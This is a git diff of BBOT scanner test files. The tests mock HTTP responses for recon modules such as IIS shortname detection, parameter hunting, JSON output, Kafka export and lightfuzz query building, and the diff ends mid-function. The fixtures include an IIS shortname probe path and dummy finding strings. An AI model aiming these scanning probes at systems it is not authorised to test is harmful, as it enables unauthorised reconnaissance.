-    config_overrides = {"web": {"http_headers": {"testheader": "testvalue"}}}
-
-    async def setup_after_prep(self, module_test):
-        module_test.httpserver.expect_request("/", headers={"testheader": "testvalue"}).respond_with_data("alive")
-
-    def check(self, module_test, events):
-        # Ensure we received the expected response when the header was present
-        assert [e for e in events if e.type == "URL" and "status-200" in e.tags]
-
-
-class TestHTTPX_custom_cookies(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "speculate", "excavate"]
-    config_overrides = {"web": {"http_cookies": {"testcookie": "cookievalue"}}}
-
-    async def setup_after_prep(self, module_test):
-        # Expect a request to "/" with the custom cookie 'testcookie=cookievalue'
-        module_test.httpserver.expect_request("/", headers={"cookie": "testcookie=cookievalue"}).respond_with_data(
-            "alive"
-        )
-
-    def check(self, module_test, events):
-        # Ensure we received the expected response when the cookie was present
-        assert [e for e in events if e.type == "URL" and "status-200" in e.tags]
diff --git a/bbot/test/test_step_2/module_tests/test_module_hunt.py b/bbot/test/test_step_2/module_tests/test_module_hunt.py
index 867a2565c6..9a8bb56f13 100644
--- a/bbot/test/test_step_2/module_tests/test_module_hunt.py
+++ b/bbot/test/test_step_2/module_tests/test_module_hunt.py
@@ -3,7 +3,7 @@
 
 class TestHunt(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "hunt", "excavate"]
+    modules_overrides = ["http", "hunt", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
     }
@@ -14,12 +14,20 @@ async def setup_after_prep(self, module_test):
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
     def check(self, module_test, events):
-        assert any(
-            e.type == "FINDING"
-            and e.data["description"]
-            == "Found potentially interesting parameter. Name: [cipher] Parameter Type: [GETPARAM] Categories: [Insecure Cryptography] Original Value: [xor]"
-            for e in events
-        )
+        finding_event = None
+        for e in events:
+            if (
+                e.type == "FINDING"
+                and e.data["description"]
+                == "Found potentially interesting parameter. Name: [cipher] Parameter Type: [GETPARAM] Categories: [Insecure Cryptography] Original Value: [xor]"
+            ):
+                finding_event = e
+                break
+
+        assert finding_event is not None
+        # Hunt emits INFO severity and LOW confidence
+        assert finding_event.data["severity"] == "INFO"
+        assert finding_event.data["confidence"] == "LOW"
 
 
 class TestHunt_Multiple(TestHunt):
diff --git a/bbot/test/test_step_2/module_tests/test_module_hunterio.py b/bbot/test/test_step_2/module_tests/test_module_hunterio.py
index ecd71957ab..edb48e42b2 100644
--- a/bbot/test/test_step_2/module_tests/test_module_hunterio.py
+++ b/bbot/test/test_step_2/module_tests/test_module_hunterio.py
@@ -5,7 +5,7 @@ class TestHunterio(ModuleTestBase):
     config_overrides = {"modules": {"hunterio": {"api_key": ["asdf", "1234", "4321", "fdsa"]}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.hunter.io/v2/account?api_key=asdf",
             json={
                 "data": {
@@ -28,7 +28,7 @@ async def setup_before_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.hunter.io/v2/domain-search?domain=blacklanternsecurity.com&api_key=fdsa&limit=100&offset=0",
             json={
                 "data": {
@@ -91,7 +91,7 @@ async def setup_before_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.hunter.io/v2/domain-search?domain=blacklanternsecurity.com&api_key=4321&limit=100&offset=100",
             json={
                 "data": {
diff --git a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py
index 6ca827f56a..0821eba42e 100644
--- a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py
+++ b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py
@@ -5,7 +5,7 @@
 
 class TestIIS_Shortnames(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "iis_shortnames"]
+    modules_overrides = ["http", "iis_shortnames"]
     config_overrides = {"modules": {"iis_shortnames": {"detect_only": False}}}
 
     async def setup_after_prep(self, module_test):
@@ -90,17 +90,41 @@ async def setup_after_prep(self, module_test):
             module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
     def check(self, module_test, events):
-        vulnerabilityEmitted = False
+        magicurl_findingEmitted = False
         url_hintEmitted = False
         zip_findingEmitted = False
         for e in events:
-            if e.type == "VULNERABILITY" and "iis-magic-url" not in e.tags:
-                vulnerabilityEmitted = True
-            if e.type == "URL_HINT" and e.data == "http://127.0.0.1:8888/BLSHAX~1":
+            if e.type == "FINDING" and "iis-magic-url" not in e.tags:
+                magicurl_findingEmitted = True
+            if e.type == "URL_HINT" and e.url == "http://127.0.0.1:8888/BLSHAX~1":
                 url_hintEmitted = True
             if e.type == "FINDING" and "Possible backup file (zip) in web root" in e.data["description"]:
                 zip_findingEmitted = True
 
-        assert vulnerabilityEmitted
+        assert magicurl_findingEmitted
         assert url_hintEmitted
         assert zip_findingEmitted
+
+
+class TestIIS_Shortnames_GatewayError(ModuleTestBase):
+    """Negative test: server returns 502 gateway errors. Should NOT detect IIS shortnames."""
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "iis_shortnames"]
+
+    async def setup_after_prep(self, module_test):
+        module_test.httpserver.no_handler_status_code = 404
+
+        expect_args = {"method": "GET", "uri": "/"}
+        respond_args = {"response_data": "alive", "status": 200}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        # Control URL returns 404, test URL returns 502 (gateway error from CDN)
+        expect_args = {"method": "GET", "uri": "/*~1*/a.aspx"}
+        respond_args = {"response_data": "Bad Gateway", "status": 502}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+    def check(self, module_test, events):
+        for e in events:
+            if e.type == "FINDING" and "IIS Shortname" in e.data.get("description", ""):
+                raise AssertionError("IIS Shortname finding should NOT be emitted when gateway errors are present")
diff --git a/bbot/test/test_step_2/module_tests/test_module_ip2location.py b/bbot/test/test_step_2/module_tests/test_module_ip2location.py
index 2a63607207..6791c7b8f2 100644
--- a/bbot/test/test_step_2/module_tests/test_module_ip2location.py
+++ b/bbot/test/test_step_2/module_tests/test_module_ip2location.py
@@ -6,7 +6,7 @@ class TestIP2Location(ModuleTestBase):
     config_overrides = {"modules": {"ip2location": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="http://api.ip2location.io/?key=asdf&ip=8.8.8.8&format=json&source=bbot",
             json={
                 "ip": "8.8.8.8",
diff --git a/bbot/test/test_step_2/module_tests/test_module_ipstack.py b/bbot/test/test_step_2/module_tests/test_module_ipstack.py
index 630830a1f5..5b4674a5b1 100644
--- a/bbot/test/test_step_2/module_tests/test_module_ipstack.py
+++ b/bbot/test/test_step_2/module_tests/test_module_ipstack.py
@@ -6,7 +6,7 @@ class TestIPStack(ModuleTestBase):
     config_overrides = {"modules": {"ipstack": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="http://api.ipstack.com/check?access_key=asdf",
             json={
                 "ip": "1.2.3.4",
@@ -33,7 +33,7 @@ async def setup_before_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="http://api.ipstack.com/8.8.8.8?access_key=asdf",
             json={
                 "ip": "8.8.8.8",
diff --git a/bbot/test/test_step_2/module_tests/test_module_jadx.py b/bbot/test/test_step_2/module_tests/test_module_jadx.py
index 2152778c2d..beb9e22a16 100644
--- a/bbot/test/test_step_2/module_tests/test_module_jadx.py
+++ b/bbot/test/test_step_2/module_tests/test_module_jadx.py
@@ -18,7 +18,7 @@ class TestJadx(ModuleTestBase):
 
     async def setup_after_prep(self, module_test):
         await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.99"]}})
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://play.google.com/store/search?q=blacklanternsecurity&c=apps",
             text="""<!DOCTYPE html>
             <html>
@@ -30,7 +30,7 @@ async def setup_after_prep(self, module_test):
             </body>
             </html>""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://play.google.com/store/apps/details?id=com.bbot.test",
             text="""<!DOCTYPE html>
             <html>
@@ -44,7 +44,7 @@ async def setup_after_prep(self, module_test):
             </body>
             </html>""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://d.apkpure.com/b/XAPK/com.bbot.test?version=latest",
             content=self.apk_file,
             headers={
diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py
index 27ed5a55e0..163fe62421 100644
--- a/bbot/test/test_step_2/module_tests/test_module_json.py
+++ b/bbot/test/test_step_2/module_tests/test_module_json.py
@@ -23,13 +23,13 @@ def check(self, module_test, events):
         assert len(dns_json) == 1
         dns_json = dns_json[0]
         scan = scan_json[0]
-        assert scan["data"]["name"] == module_test.scan.name
-        assert scan["data"]["id"] == module_test.scan.id
+        assert scan["data_json"]["name"] == module_test.scan.name
+        assert scan["data_json"]["id"] == module_test.scan.id
         assert scan["id"] == module_test.scan.id
         assert scan["uuid"] == str(module_test.scan.root_event.uuid)
         assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid)
-        assert scan["data"]["target"]["seeds"] == ["blacklanternsecurity.com"]
-        assert scan["data"]["target"]["whitelist"] == ["blacklanternsecurity.com"]
+        assert not "seeds" in scan["data_json"]["target"], "seeds should not be in target json"
+        assert scan["data_json"]["target"]["target"] == ["blacklanternsecurity.com"]
         assert dns_json["data"] == dns_data
         assert dns_json["id"] == str(dns_event.id)
         assert dns_json["uuid"] == str(dns_event.uuid)
@@ -45,8 +45,8 @@ def check(self, module_test, events):
         assert scan_reconstructed.data["id"] == module_test.scan.id
         assert scan_reconstructed.uuid == scan_event.uuid
         assert scan_reconstructed.parent_uuid == scan_event.uuid
-        assert scan_reconstructed.data["target"]["seeds"] == ["blacklanternsecurity.com"]
-        assert scan_reconstructed.data["target"]["whitelist"] == ["blacklanternsecurity.com"]
+        assert not "seeds" in scan_reconstructed.data["target"], "seeds should not be in target json"
+        assert scan_reconstructed.data["target"]["target"] == ["blacklanternsecurity.com"]
         assert dns_reconstructed.data == dns_data
         assert dns_reconstructed.uuid == dns_event.uuid
         assert dns_reconstructed.parent_uuid == module_test.scan.root_event.uuid
@@ -55,16 +55,69 @@ def check(self, module_test, events):
         assert dns_reconstructed.parent_chain == [dns_json["uuid"]]
 
 
-class TestJSONSIEMFriendly(ModuleTestBase):
-    modules_overrides = ["json"]
-    config_overrides = {"modules": {"json": {"siem_friendly": True}}}
+class TestJSONGraphOrphanJSURL(ModuleTestBase):
+    """
+    Reproducer for https://github.com/blacklanternsecurity/bbot/issues/1151
+
+    JS URLs get _omit=True (URL_UNVERIFIED is in default omit_event_types) and
+    _internal=True (.js is a special extension). If a graph-worthy event is
+    discovered with a JS URL ancestor, every event in the JSON output must
+    reference a parent that is also in the output (no orphans).
+    """
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "excavate", "json"]
+    # The test conf clears omit_event_types — restore the production default so
+    # URL_UNVERIFIED (which JS URLs use) actually gets _omit=True by ScanEgress.
+    config_overrides = {
+        "scope": {"report_distance": 2},
+        "web": {"spider_distance": 5, "spider_depth": 5},
+        "omit_event_types": [
+            "HTTP_RESPONSE",
+            "RAW_TEXT",
+            "URL_UNVERIFIED",
+            "DNS_NAME_UNRESOLVED",
+            "FILESYSTEM",
+            "WEB_PARAMETER",
+            "RAW_DNS_RECORD",
+        ],
+    }
+
+    async def setup_after_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={
+                "response_data": "<html><body><script src='http://127.0.0.1:8888/asdf.js'></script></body></html>",
+                "headers": {"Content-Type": "text/html"},
+            },
+        )
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/asdf.js"},
+            respond_args={
+                "response_data": "var leak = 'http://orphan-test.evilcorp.com/path';",
+                "headers": {"Content-Type": "application/javascript"},
+            },
+        )
 
     def check(self, module_test, events):
         txt_file = module_test.scan.home / "output.json"
         lines = list(module_test.scan.helpers.read_file(txt_file))
-        passed = False
-        for line in lines:
-            e = json.loads(line)
-            if e["data"] == {"DNS_NAME": "blacklanternsecurity.com"}:
-                passed = True
-        assert passed
+        assert lines, "json output is empty"
+        json_events = [json.loads(line) for line in lines]
+
+        uuids = {e["uuid"] for e in json_events}
+        orphans = []
+        for e in json_events:
+            parent_uuid = e.get("parent_uuid")
+            if parent_uuid and parent_uuid not in uuids:
+                orphans.append((e["type"], e.get("data"), parent_uuid))
+
+        assert not orphans, f"found {len(orphans)} graph orphan(s) — parent_uuid not present in output:\n" + "\n".join(
+            f"  - {t}: {d!r} -> missing parent {p}" for t, d, p in orphans
+        )
+
+        # sanity: scan must have actually walked the JS chain
+        all_text = "\n".join(lines)
+        assert ".js" in all_text or "asdf" in all_text, (
+            f"test scenario did not exercise the JS URL chain. JSON contents:\n{all_text}"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py
new file mode 100644
index 0000000000..451a551e5f
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py
@@ -0,0 +1,99 @@
+import json
+import asyncio
+
+from .base import ModuleTestBase
+
+
+class TestKafka(ModuleTestBase):
+    config_overrides = {
+        "modules": {
+            "kafka": {
+                "bootstrap_servers": "localhost:9092",
+                "topic": "bbot_events",
+            }
+        }
+    }
+    skip_distro_tests = True
+
+    async def setup_before_prep(self, module_test):
+        # Start Zookeeper
+        await asyncio.create_subprocess_exec(
+            "docker", "run", "-d", "--rm", "--name", "bbot-test-zookeeper", "-p", "2181:2181", "zookeeper:3.9"
+        )
+
+        # Wait for Zookeeper to be ready
+        await self.wait_for_port_open(2181)
+
+        # Start Kafka using wurstmeister/kafka
+        await asyncio.create_subprocess_exec(
+            "docker",
+            "run",
+            "-d",
+            "--rm",
+            "--name",
+            "bbot-test-kafka",
+            "--link",
+            "bbot-test-zookeeper:zookeeper",
+            "-e",
+            "KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181",
+            "-e",
+            "KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092",
+            "-e",
+            "KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://localhost:9092",
+            "-e",
+            "KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1",
+            "-p",
+            "9092:9092",
+            "wurstmeister/kafka",
+        )
+
+        # Wait for Kafka to be ready
+        await self.wait_for_port_open(9092)
+
+        await asyncio.sleep(1)
+
+    async def check(self, module_test, events):
+        from aiokafka import AIOKafkaConsumer
+
+        self.consumer = AIOKafkaConsumer(
+            "bbot_events",
+            bootstrap_servers="localhost:9092",
+            group_id="test_group",
+            auto_offset_reset="earliest",
+        )
+        await self.consumer.start()
+
+        try:
+            events_json = [e.json() for e in events]
+            events_json.sort(key=lambda x: x["timestamp"])
+
+            # Collect events from Kafka with a timeout to prevent CI hangs
+            kafka_events = []
+
+            async def _consume():
+                async for msg in self.consumer:
+                    event_data = json.loads(msg.value.decode("utf-8"))
+                    kafka_events.append(event_data)
+                    if len(kafka_events) >= len(events_json):
+                        break
+
+            await asyncio.wait_for(_consume(), timeout=30)
+
+            kafka_events.sort(key=lambda x: x["timestamp"])
+
+            # Verify the events match
+            assert events_json == kafka_events, "Events do not match"
+
+        finally:
+            # Clean up: Stop the Kafka consumer
+            if hasattr(self, "consumer") and not self.consumer._closed:
+                await self.consumer.stop()
+            # Stop Kafka and Zookeeper containers
+            p1 = await asyncio.create_subprocess_exec(
+                "docker", "stop", "bbot-test-kafka", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
+            )
+            await p1.communicate()
+            p2 = await asyncio.create_subprocess_exec(
+                "docker", "stop", "bbot-test-zookeeper", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
+            )
+            await p2.communicate()
diff --git a/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py b/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py
new file mode 100644
index 0000000000..2abd6c9d30
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_kreuzberg.py
@@ -0,0 +1,89 @@
+import base64
+from pathlib import Path
+from .base import ModuleTestBase
+
+from ...bbot_fixtures import *
+
+
+class TestKreuzberg(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["kreuzberg", "filedownload", "http", "excavate", "speculate"]
+    config_overrides = {
+        "web": {
+            "spider_distance": 2,
+            "spider_depth": 2,
+        },
+        "modules": {
+            "filedownload": {
+                "output_folder": bbot_test_dir / "filedownload",
+            },
+        },
+    }
+
+    pdf_data = base64.b64decode(
+        "JVBERi0xLjMKJe+/ve+/ve+/ve+/vSBSZXBvcnRMYWIgR2VuZXJhdGVkIFBERiBkb2N1bWVudCBodHRwOi8vd3d3LnJlcG9ydGxhYi5jb20KMSAwIG9iago8PAovRjEgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL0Jhc2VGb250IC9IZWx2ZXRpY2EgL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcgL05hbWUgL0YxIC9TdWJ0eXBlIC9UeXBlMSAvVHlwZSAvRm9udAo+PgplbmRvYmoKMyAwIG9iago8PAovQ29udGVudHMgNyAwIFIgL01lZGlhQm94IFsgMCAwIDU5NS4yNzU2IDg0MS44ODk4IF0gL1BhcmVudCA2IDAgUiAvUmVzb3VyY2VzIDw8Ci9Gb250IDEgMCBSIC9Qcm9jU2V0IFsgL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSSBdCj4+IC9Sb3RhdGUgMCAvVHJhbnMgPDwKCj4+IAogIC9UeXBlIC9QYWdlCj4+CmVuZG9iago0IDAgb2JqCjw8Ci9QYWdlTW9kZSAvVXNlTm9uZSAvUGFnZXMgNiAwIFIgL1R5cGUgL0NhdGFsb2cKPj4KZW5kb2JqCjUgMCBvYmoKPDwKL0F1dGhvciAoYW5vbnltb3VzKSAvQ3JlYXRpb25EYXRlIChEOjIwMjQwNjAzMTg1ODE2KzAwJzAwJykgL0NyZWF0b3IgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAvS2V5d29yZHMgKCkgL01vZERhdGUgKEQ6MjAyNDA2MDMxODU4MTYrMDAnMDAnKSAvUHJvZHVjZXIgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAKICAvU3ViamVjdCAodW5zcGVjaWZpZWQpIC9UaXRsZSAodW50aXRsZWQpIC9UcmFwcGVkIC9GYWxzZQo+PgplbmRvYmoKNiAwIG9iago8PAovQ291bnQgMSAvS2lkcyBbIDMgMCBSIF0gL1R5cGUgL1BhZ2VzCj4+CmVuZG9iago3IDAgb2JqCjw8Ci9GaWx0ZXIgWyAvQVNDSUk4NURlY29kZSAvRmxhdGVEZWNvZGUgXSAvTGVuZ3RoIDEwNwo+PgpzdHJlYW0KR2FwUWgwRT1GLDBVXEgzVFxwTllUXlFLaz90Yz5JUCw7VyNVMV4yM2loUEVNXz9DVzRLSVNpOTBNakdeMixGUyM8UkM1K2MsbilaOyRiSyRiIjVJWzwhXlREI2dpXSY9NVgsWzVAWUBWfj5lbmRzdHJlYW0KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDA3MyAwMDAwMCBuIAowMDAwMDAwMTA0IDAwMDAwIG4gCjAwMDAwMDAyMTEgMDAwMDAgbiAKMDAwMDAwMDQxNCAwMDAwMCBuIAowMDAwMDAwNDgyIDAwMDAwIG4gCjAwMDAwMDA3NzggMDAwMDAgbiAKMDAwMDAwMDgzNyAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9JRCAKWzw4MGQ5ZjViOTY0ZmM5OTI4NDUwMWRlYjdhNmE2MzdmNz48ODBkOWY1Yjk2NGZjOTkyODQ1MDFkZWI3YTZhNjM3Zjc+XQolIFJlcG9ydExhYiBnZW5lcmF0ZWQgUERGIGRvY3VtZW50IC0tIGRpZ2VzdCAoaHR0cDovL3d3dy5yZXBvcnRsYWIuY29tKQoKL0luZm8gNSAwIFIKL1Jvb3QgNCAwIFIKL1NpemUgOAo+PgpzdGFydHhyZWYKMTAzNAolJUVPRg=="
+    )
+
+    docx_data = base64.b64decode(
+        "UEsDBBQAAAAAAFitWVzXeYTquAEAALgBAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbDw/eG1sIHZl"
+        "cnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPFR5cGVzIHht"
+        "bG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvcGFja2FnZS8yMDA2L2NvbnRl"
+        "bnQtdHlwZXMiPgogIDxEZWZhdWx0IEV4dGVuc2lvbj0icmVscyIgQ29udGVudFR5cGU9ImFwcGxp"
+        "Y2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1wYWNrYWdlLnJlbGF0aW9uc2hpcHMreG1sIi8+CiAg"
+        "PERlZmF1bHQgRXh0ZW5zaW9uPSJ4bWwiIENvbnRlbnRUeXBlPSJhcHBsaWNhdGlvbi94bWwiLz4K"
+        "ICA8T3ZlcnJpZGUgUGFydE5hbWU9Ii93b3JkL2RvY3VtZW50LnhtbCIgQ29udGVudFR5cGU9ImFw"
+        "cGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2lu"
+        "Z21sLmRvY3VtZW50Lm1haW4reG1sIi8+CjwvVHlwZXM+UEsDBBQAAAAAAFitWVwgG4bqLgEAAC4B"
+        "AAALAAAAX3JlbHMvLnJlbHM8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCIgc3Rh"
+        "bmRhbG9uZT0ieWVzIj8+CjxSZWxhdGlvbnNoaXBzIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVu"
+        "eG1sZm9ybWF0cy5vcmcvcGFja2FnZS8yMDA2L3JlbGF0aW9uc2hpcHMiPgogIDxSZWxhdGlvbnNo"
+        "aXAgSWQ9InJJZDEiIFR5cGU9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZp"
+        "Y2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMvb2ZmaWNlRG9jdW1lbnQiIFRhcmdldD0id29y"
+        "ZC9kb2N1bWVudC54bWwiLz4KPC9SZWxhdGlvbnNoaXBzPlBLAwQUAAAAAABYrVlcNNIntwABAAAA"
+        "AQAAEQAAAHdvcmQvZG9jdW1lbnQueG1sPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRG"
+        "LTgiIHN0YW5kYWxvbmU9InllcyI/Pgo8dzpkb2N1bWVudCB4bWxuczp3PSJodHRwOi8vc2NoZW1h"
+        "cy5vcGVueG1sZm9ybWF0cy5vcmcvd29yZHByb2Nlc3NpbmdtbC8yMDA2L21haW4iPgogIDx3OmJv"
+        "ZHk+CiAgICA8dzpwPgogICAgICA8dzpyPgogICAgICAgIDx3OnQ+SGVsbG8sIFdvcmxkISE8L3c6"
+        "dD4KICAgICAgPC93OnI+CiAgICA8L3c6cD4KICA8L3c6Ym9keT4KPC93OmRvY3VtZW50PlBLAQIU"
+        "AxQAAAAAAFitWVzXeYTquAEAALgBAAATAAAAAAAAAAAAAACAAQAAAABbQ29udGVudF9UeXBlc10u"
+        "eG1sUEsBAhQDFAAAAAAAWK1ZXCAbhuouAQAALgEAAAsAAAAAAAAAAAAAAIAB6QEAAF9yZWxzLy5y"
+        "ZWxzUEsBAhQDFAAAAAAAWK1ZXDTSJ7cAAQAAAAEAABEAAAAAAAAAAAAAAIABQAMAAHdvcmQvZG9j"
+        "dW1lbnQueG1sUEsFBgAAAAADAAMAuQAAAG8EAAAAAA=="
+    )
+
+    expected_result_pdf = "Hello, World!"
+    expected_result_docx = "Hello, World!!"
+
+    async def setup_after_prep(self, module_test):
+        module_test.set_expect_requests(
+            {"uri": "/"},
+            {"response_data": '<a href="/Test_PDF"/><a href="/Test_DOCX"/>'},
+        )
+        module_test.set_expect_requests(
+            {"uri": "/Test_PDF"},
+            {"response_data": self.pdf_data, "headers": {"Content-Type": "application/pdf"}},
+        )
+        module_test.set_expect_requests(
+            {"uri": "/Test_DOCX"},
+            {
+                "response_data": self.docx_data,
+                "headers": {"Content-Type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"},
+            },
+        )
+
+    def check(self, module_test, events):
+        filesystem_events = [e for e in events if e.type == "FILESYSTEM"]
+        assert 2 == len(filesystem_events), filesystem_events
+        for filesystem_event in filesystem_events:
+            file = Path(filesystem_event.data["path"])
+            assert file.is_file(), "Destination file doesn't exist"
+            assert open(file, "rb").read() == self.pdf_data or open(file, "rb").read() == self.docx_data, (
+                f"File at {file} does not contain the correct content"
+            )
+        raw_text_events = [e for e in events if e.type == "RAW_TEXT"]
+        assert 2 == len(raw_text_events), "Failed to emit RAW_TEXT event"
+        for raw_text_event in raw_text_events:
+            assert raw_text_event.data in [
+                self.expected_result_pdf,
+                self.expected_result_docx,
+            ], f"Text extracted from {raw_text_event.data['path']} is incorrect, got {raw_text_event.data}"
diff --git a/bbot/test/test_step_2/module_tests/test_module_leakix.py b/bbot/test/test_step_2/module_tests/test_module_leakix.py
index f87dba6b50..a33b2575ce 100644
--- a/bbot/test/test_step_2/module_tests/test_module_leakix.py
+++ b/bbot/test/test_step_2/module_tests/test_module_leakix.py
@@ -5,12 +5,12 @@ class TestLeakIX(ModuleTestBase):
     config_overrides = {"modules": {"leakix": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://leakix.net/host/1.1.1.1",
             match_headers={"api-key": "asdf"},
             json={"title": "Not Found", "description": "Host not found"},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://leakix.net/api/subdomains/blacklanternsecurity.com",
             match_headers={"api-key": "asdf"},
             json=[
@@ -24,26 +24,3 @@ async def setup_before_prep(self, module_test):
 
     def check(self, module_test, events):
         assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
-
-
-class TestLeakIX_NoAPIKey(ModuleTestBase):
-    modules_overrides = ["leakix"]
-
-    async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
-            url="https://leakix.net/host/1.1.1.1",
-            json={"title": "Not Found", "description": "Host not found"},
-        )
-        module_test.httpx_mock.add_response(
-            url="https://leakix.net/api/subdomains/blacklanternsecurity.com",
-            json=[
-                {
-                    "subdomain": "asdf.blacklanternsecurity.com",
-                    "distinct_ips": 3,
-                    "last_seen": "2023-04-02T09:38:30.02Z",
-                },
-            ],
-        )
-
-    def check(self, module_test, events):
-        assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py
index 211857619a..e9cc38b87d 100644
--- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py
+++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py
@@ -1,6 +1,8 @@
 import json
 import re
 import base64
+from types import SimpleNamespace
+from urllib.parse import urlparse, parse_qs
 
 from .base import ModuleTestBase, tempwordlist
 from werkzeug.wrappers import Response
@@ -8,13 +10,55 @@
 
 import xml.etree.ElementTree as ET
 
+from bbot.core.helpers.url import add_get_params
+from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz
+
 from .test_module_paramminer_headers import helper
 
 
+def _make_base_lightfuzz(url):
+    event = SimpleNamespace(url=url, data={"name": "p"})
+    lightfuzz = SimpleNamespace(helpers=SimpleNamespace(add_get_params=add_get_params))
+    return BaseLightfuzz(lightfuzz, event)
+
+
+def test_lightfuzz_build_query_string_no_existing_qs():
+    bl = _make_base_lightfuzz("https://x.test/path")
+    assert bl.build_query_string("PROBE", "p") == "https://x.test/path?p=PROBE"
+
+
+def test_lightfuzz_build_query_string_unrelated_existing_param():
+    bl = _make_base_lightfuzz("https://x.test/path?init=true")
+    result = bl.build_query_string("PROBE", "p")
+    assert result.count("?") == 1
+    assert parse_qs(urlparse(result).query) == {"init": ["true"], "p": ["PROBE"]}
+
+
+def test_lightfuzz_build_query_string_probe_overrides_existing_same_param():
+    bl = _make_base_lightfuzz("https://x.test/path?p=original&init=true")
+    result = bl.build_query_string("PROBE", "p")
+    assert result.count("?") == 1
+    assert parse_qs(urlparse(result).query) == {"p": ["PROBE"], "init": ["true"]}
+
+
+def test_lightfuzz_build_query_string_merges_additional_params():
+    bl = _make_base_lightfuzz("https://x.test/path?init=true")
+    result = bl.build_query_string("PROBE", "p", additional_params={"unlock": "tok"})
+    assert result.count("?") == 1
+    assert parse_qs(urlparse(result).query) == {"init": ["true"], "p": ["PROBE"], "unlock": ["tok"]}
+
+
+def test_lightfuzz_build_query_string_preserves_fragment():
